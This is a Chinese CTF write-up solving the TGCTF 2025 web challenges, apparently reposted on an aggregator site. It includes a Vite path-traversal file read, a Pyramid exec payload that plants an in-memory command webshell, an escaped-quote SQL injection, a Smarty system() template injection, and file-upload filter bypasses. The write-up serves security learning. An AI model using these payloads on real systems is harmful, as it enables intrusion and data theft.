当前位置: 首页 > news >正文

【Web】TGCTF 2025 题解

目录

前端GAME

偷渡阴平

熟悉的配方,熟悉的味道 

后台管理

老登,炸鱼来了?

火眼辩魑魅

直面天命

(ez)upload


前端GAME

是vite框架

参考

Vite CVE-2025-30208 安全漏洞 - 日升_rs - 博客园

/@fs/etc/passwd?import&raw??

 读/proc/1/cmdline

 读start.sh

 读 /tgflagggg

偷渡阴平

绕waf

<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushieval($tgctf2025);
}
else{die('(╯‵□′)╯炸弹!•••*~●');
}highlight_file(__FILE__);

 用session来绕

熟悉的配方,熟悉的味道 

经典pyramid框架,漏洞点在exec

致敬的强网杯2024

https://xz.aliyun.com/news/16090

payload:

exec("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()")

成功打入内存马 

 

后台管理

显然有一处SQL注入,但waf掉了闭合的单引号

有点像西湖的sqli or not

【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)_西湖论剑·中国杭州网络安全技能大赛 赛题-CSDN博客

对username后的引号进行转义,让username为  \' AND password = 

SELECT * FROM users WHERE username = '\' AND password = 'union select *,2 from flag--+'

老登,炸鱼来了?

 

无解的题目只能用条件竞争,竞争safe的值是否为nil

跑了一下没跑出来😓

 

火眼辩魑魅

smarty注入秒了

{if system('cat /tgf*');}{/if}

直面天命

扫出来./hint路由

访问./aazz

拿到源码

打SSTI 

 

blacklist去除'{'和'}',本地起个服务用fenjing梭一下,把{{}}换成天命难违 

(ez)upload

dirsearch扫出来一个bak

访问index.php.bak

看到upload.php

 

访问upload.php.bak看到上传文件的逻辑

 文件内容用PCRE回溯上限绕过,文件后缀用move_uploaded_file特性绕过

 参考

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

move_uploaded_file绕过 | Lazzaro 

 

成功传马

 

http://www.xdnf.cn/news/81685.html

相关文章:

  • 网络设备智能巡检系统-MCP案例总结
  • 【无人机】使用扩展卡尔曼滤波 (EKF) 算法来处理传感器测量,各传感器的参数设置,高度数据融合、不同传感器融合模式
  • 国产紫光同创FPGA实现SDI视频编解码+图像缩放,基于HSSTHP高速接口,提供2套工程源码和技术支持
  • 万字长文 | Apache SeaTunnel 分离集群模式部署 K8s 集群实践
  • notepad++技巧:查找和替换:扩展 or 正则表达式
  • 什么是 金字塔缩放(Multi-scale Input)
  • 符号速率估计——小波变换法
  • 【在阿里云或其他 CentOS/RHEL 系统上安装和配置 Dante SOCKS5 代理服务】
  • 【MCP Node.js SDK 全栈进阶指南】利用TypeScript-SDK打造高效MCP应用
  • 25.4.22学习总结
  • IOT项目——双轴追光系统
  • # 利用迁移学习优化食物分类模型:基于ResNet18的实践
  • 第十一届机械工程、材料和自动化技术国际会议(MMEAT 2025)
  • 机器人进阶---视觉算法(六)傅里叶变换在图像处理中怎么用
  • hi3516cv610构建音频sample工程代码步骤
  • Spring Boot Actuator 详细使用说明(完整代码与配置)
  • 【C++游戏引擎开发】第21篇:基于物理渲染(PBR)——统计学解构材质与光影
  • 基于华为云 ModelArts 的在线服务应用开发(Requests 模块)
  • 数字IC低功耗设计——基础概念和低功耗设计方法
  • 【Linux】用户权限
  • LangChain 核心模块学习:Chains
  • USB 共享神器 VirtualHere 局域网内远程使用打印机与扫描仪
  • 安宝特科技 | Vuzix Z100智能眼镜+AugmentOS:重新定义AI可穿戴设备的未来——从操作系统到硬件生态,如何掀起无感智能革命?
  • 麒麟系统网络连接问题排查
  • 乐视系列玩机------乐视2 x620红灯 黑砖刷写教程以及新版刷写工具的详细释义
  • C++IO流
  • AI 数字短视频数字人源码开发:多维赋能短视频生态革新​
  • 图像预处理-直方图均衡化
  • 卷积神经网络迁移学习:原理与实践指南
  • GSAP 动画引擎实战:打造丝滑动效交互组件库